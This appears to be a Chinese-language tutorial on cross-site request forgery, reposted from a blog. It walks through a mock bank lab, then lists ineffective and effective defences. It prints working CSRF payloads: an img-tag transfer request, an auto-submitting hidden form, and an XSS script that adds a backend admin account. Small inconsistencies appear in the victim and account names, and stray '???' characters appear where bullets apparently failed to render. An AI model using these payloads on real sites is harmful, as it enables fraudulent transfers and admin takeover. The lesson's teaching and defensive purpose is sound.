【CyberSecurityLearning 63】CSRF攻击
目錄
CSRF攻擊
* 概述
* 關鍵點
* 目標
實戰(zhàn)：CSRF 場景復現
* 正常的業(yè)務
*CSRF 攻擊
如何觸發(fā)
* 場景建模
* POST 方式
實戰(zhàn)：與XSS 的結合添加后臺賬號
CSRF 的防御
* 無效的防御
??? @?? 僅接受POST請求
??? @?? 多步交易
??? @?? URL重寫
??? @?? HTTPS
* 有效防御
??? @?? 驗證Referer 字段
??? @?? 添加Token 驗證
??? @?? 二次驗證
??? @?? 用戶養(yǎng)成良好的習慣
?
CSRF攻擊
* 概述
??? 跨站請求偽造（Cross-site request forgery，CSRF）是一種攻擊，它強制終端用戶在當前對其進行身份驗證后的Web應用程序上執(zhí)行非本意的操作。（CSRF這個漏洞發(fā)生在web應用當中，不屬于系統(tǒng)或組件；發(fā)生CSRF攻擊的場景有一個前提，有一個用戶登錄了web應用）
??? CSRF攻擊的著重點在偽造更改狀態(tài)的請求，而不是盜取數據，因為攻擊者無法查看對偽造請求的響應。（CSRF攻擊的攻擊重點在于我們偽造一個請求，這個請求屬于更改狀態(tài)類的請求，什么叫更改狀態(tài)類的請求呢？比如說修改密碼，他就是在更改web應用的數據庫的狀態(tài)，比如說轉賬操作。這是一個什么樣的情節(jié)呢？你登錄一個論壇之后，你訪問一個鏈接你發(fā)現你的錢被轉掉了）
??? 借助社工的一些幫助（例如通過電子郵件或聊天發(fā)送鏈接），攻擊者可以誘騙用戶執(zhí)行攻擊者選擇的操作。如果受害者是普通用戶，則成功的CSRF攻擊可以強制用戶執(zhí)行狀態(tài)更改的請求，例如轉移資金，更改其電子郵件地址等。如果受害者是管理帳戶，CSRF可能會危及整個Web應用程序。
* 關鍵點
??? CSRF是一種欺騙受害者提交惡意請求的攻擊。它繼承了受害者的身份和特權，代表受害者執(zhí)行非本意、惡意的操作。
??? 對于大多數站點，瀏覽器請求自動發(fā)送與站點關聯的所有憑據，例如用戶的會話cookie，IP地址，Windows域憑據等。因此，如果用戶當前已對該站點進行了身份驗證，則該站點將無法區(qū)分受害者發(fā)送的偽造請求和受害者發(fā)送的合法請求。
?
* 目標
??? CSRF攻擊目標是能夠更改服務器狀態(tài)或數據的業(yè)務或功能，例如更改受害者的電子郵件地址、密碼或購買商品。強制受害者查詢數據，對于攻擊者來說沒什么用，因為無法獲得服務器響應。因此，CSRF攻擊針對引起狀態(tài)變化的請求。
??? 有時可以將CSRF攻擊存儲在易受攻擊的站點上。這些漏洞被稱為“存儲的CSRF漏洞”。這可以通過簡單地在接受HTML的字段中存儲IMG或IFRAME標記，或通過更復雜的跨站點腳本攻擊來實現。如果攻擊可以在站點中存儲CSRF攻擊，則攻擊的嚴重性會被放大。特別是，受到攻擊的可能性增加，因為受害者比互聯網上的某個隨機頁面更有可能查看包含攻擊的頁面。
實戰(zhàn)：CSRF 場景復現
需要一個 Web 應用
來源：
?? ??? ?1. 我給你的
?? ??? ?2. 你自己寫的論壇，轉賬功能。
??? 為了復現CSRF 攻擊的場景，我們搭建了一個模擬銀行網站。該模擬銀行網站的核心業(yè)務就是轉賬。
導入數據庫的操作：source C:\phpstudy/www/bank/bank.sql
* 正常的業(yè)務
首先我們使用[admin/123456]登錄銀行賬戶。
在另一臺瀏覽器中，使用[test/123456]登錄
可以操作admin用戶給test用戶匯款
*CSRF 攻擊
我們以admin用戶的身份，在沒有退掉當前網站的情況下，訪問了一個極具誘惑性的網站。
當我們在這個網站中點擊了某個鏈接
此時，我們會發(fā)現賬戶中給hacker 轉了1000.
我們會發(fā)現，admin用戶的并沒有意愿給hacker 用戶轉賬，這個操作完全是非本意的，而且請求在admin 用戶不知不覺的情況下被發(fā)送。說明test 用戶遭受了CSRF 攻擊
?
如何觸發(fā)
1、<a href="轉賬鏈接">一刀99</a>?? a標簽
2、<img src="">? 利用img標簽
----------
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.1.200/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='寶刀在手，誰與爭鋒'>
-----------
?
??? 嘗試查看通道一的源碼。
----
<img src='./1.jpg'><br />
<img src='http://172.16.132.161/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93'
alt='寶刀在手，誰與爭鋒'>
----
??? 也就是說，該頁面通過<img> 標簽發(fā)送了一個get 請求，這個get 請求，正是用戶發(fā)起轉賬業(yè)務的請求。
* 場景建模
CSRF 的類別
??? 以上場景中是利用<img> 標簽發(fā)送的get 請求。那么是不是把關鍵操作使用POST 請求，就能夠防御CSRF 漏洞了呢？答案是否定的。
* POST 方式
??? 即使轉賬操作使用POST 方法，攻擊者也可以通過構造表單的方式來偽造請求，核心代碼如下。
-----------------------------------------------------------------
<meta charset='utf-8'>
<form name='csrf' action='http://172.16.132.138/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='1000'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>寶刀在手，誰與爭鋒</a><br />
-----------------------------------------------------------------
??? 此處可以利用JS 來自動提交隱藏的表單，但是頁面會跳轉到self.php 并且顯示轉賬記錄。這看起來就不是那么“友好”了。那么，有沒有辦法做到“不知不覺”呢？
?
實戰(zhàn)：與XSS 的結合添加后臺賬號
??? 攻擊者可以通過XSS 來觸發(fā)CSRF 攻擊。因為，可以利用JS 來發(fā)送請求。
??? 通過研究受害網站的業(yè)務流程，攻擊者可以構造如下代碼。
----
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open(\'post\',\'http://172.16.132.161/cms/admin/user.action.php\',false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send(\'act=add&username=hacker&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0\');
</script>
----
?
??? 我們將代碼插入到網站留言板中。
??? 然后模擬網站管理員，登錄后臺，進行留言管理，只要管理員刷新頁面就會觸發(fā)XSS 代碼，以管理員的身份發(fā)送一個請求，創(chuàng)建一個后臺賬戶[ajest/123456]，同時網站后臺管理員一點兒“感覺”都沒有。
CSRF 的防御
* 無效的防御
??? 很多防御方式都沒有辦法解決CSRF 的問題。
??? @?? 使用秘密cookie
??? 請記住，所有cookie，即使是秘密的cookie，也會隨著每個請求一起提交。無論最終用戶是否被欺騙提交請求，都將提交所有身份驗證令牌。身份憑據。
??? @?? 僅接受POST請求
可以開發(fā)應用程序以僅接受用于執(zhí)行業(yè)務邏輯的POST請求。誤解是由于攻擊者無法構建惡意鏈接，因此無法執(zhí)行CSRF攻擊。不幸的是，這種邏輯不正確。有許多方法可以讓攻擊者欺騙受害者提交偽造的POST請求，例如在隱藏值的攻擊者網站中托管的簡單表單。此表單可以由JavaScript自動觸發(fā)，也可以由認為表單會執(zhí)行其他操作的受害者觸發(fā)。
??? @?? 多步交易
??? 多步交易不足以預防CSRF。只要攻擊者可以預測或推斷完整的事務的每個步驟，就可以實現CSRF。
??? @?? URL重寫
??? 這可能被視為一種有用的CSRF預防技術，因為攻擊者無法猜測受害者的會話ID。但是，用戶的會話ID在URL中公開。所以不建議通過引入另一個安全漏洞來修復一個安全漏洞。
??? @?? HTTPS
??? HTTPS本身無法抵御CSRF。但是，HTTPS應被視為任何預防措施值得信賴的先決條件。
* 有效防御
??? @?? 驗證Referer 字段
??? 根據HTTP協(xié)議，在HTTP頭中有一個字段叫Referer，它記錄了該HTTP請求的來源地址。在通常情況下，訪問一個安全受限頁面的請求必須來自于同一個網站。比如某銀行的轉賬是通過用戶訪問[http://172.16.132.161/bank/action.php?username=hacker&money=1000&submit=%E4%BA%A4%E6%98%93]頁面完成，用戶必須先登錄，并且訪問，[http://172.16.132.161/bank/index.php]，然后通過點擊頁面上的按鈕來觸發(fā)轉賬事件。當用戶提交請求時，該轉賬請求的Referer值就會是轉賬按鈕所在頁面的URL。而如果攻擊者要對銀行網站實施CSRF攻擊，他只能在自己的網站構造請求，當用戶通過攻擊者的網站發(fā)送請求到銀行時，該請求的Referer是指向攻擊者的網站。因此，要防御CSRF攻擊，銀行網站只需要對于每一個轉賬請求驗證其Referer值，如果是以172.16.132.161 的地址或域名，則說明該請求是來自銀行網站自己的請求，是合法的。如果Referer是其他網站的話，就有可能是CSRF攻擊，則拒絕該請求。
??? @?? 添加Token 驗證
??? CSRF攻擊之所以能夠成功，是因為攻擊者可以偽造用戶的請求，該請求中所有的用戶驗證信息都存在于Cookie中，因此攻擊者可以在不知道這些驗證信息的情況下直接利用用戶自己的Cookie來通過安全驗證。由此可知，抵御CSRF攻擊的關鍵在于：在請求中放入攻擊者所不能偽造的信息，并且該信息不存在于Cookie之中。鑒于此，系統(tǒng)開發(fā)者可以在HTTP請求中以參數的形式加入一個隨機產生的token（隨機字符串），并在服務器端建立一個攔截器來驗證這個token，如果請求中沒有token或者token內容不正確，則認為可能是CSRF攻擊而拒絕該請求。
??? @?? 二次驗證
??? 二次驗證，就是在轉賬等關鍵操作之前提供當前用戶的密碼或者驗證碼。二次驗證可以有效防御CSRF 攻擊。
??? @?? 用戶養(yǎng)成良好的習慣
??? 對于普通用戶來說，都學習并具備網絡安全知識以防御網絡攻擊是不現實的。但若用戶養(yǎng)成良好的上網習慣，則能夠很大程度上減少CSRF攻擊的危害。例如，用戶上網時，不要輕易點擊網絡論壇、聊天室、即時通訊工具或電子郵件中出現的鏈接或者圖片；及時退出長時間不使用的已登錄賬戶，尤其是系統(tǒng)管理員，應盡量在登出系統(tǒng)的情況下點擊未知鏈接和圖片。除此之外，用戶還需要在連接互聯網的計算機上安裝合適的安全防護軟件，并及時更新軟件廠商發(fā)布的特征庫，以保持安全軟件對最新攻擊的實時跟蹤。
?
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 63】CSRF攻击的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 热烈祝贺我刊主编郑纬民教授被提名为中国工
- 下一篇： 智慧城市知识图谱模型与本体构建方法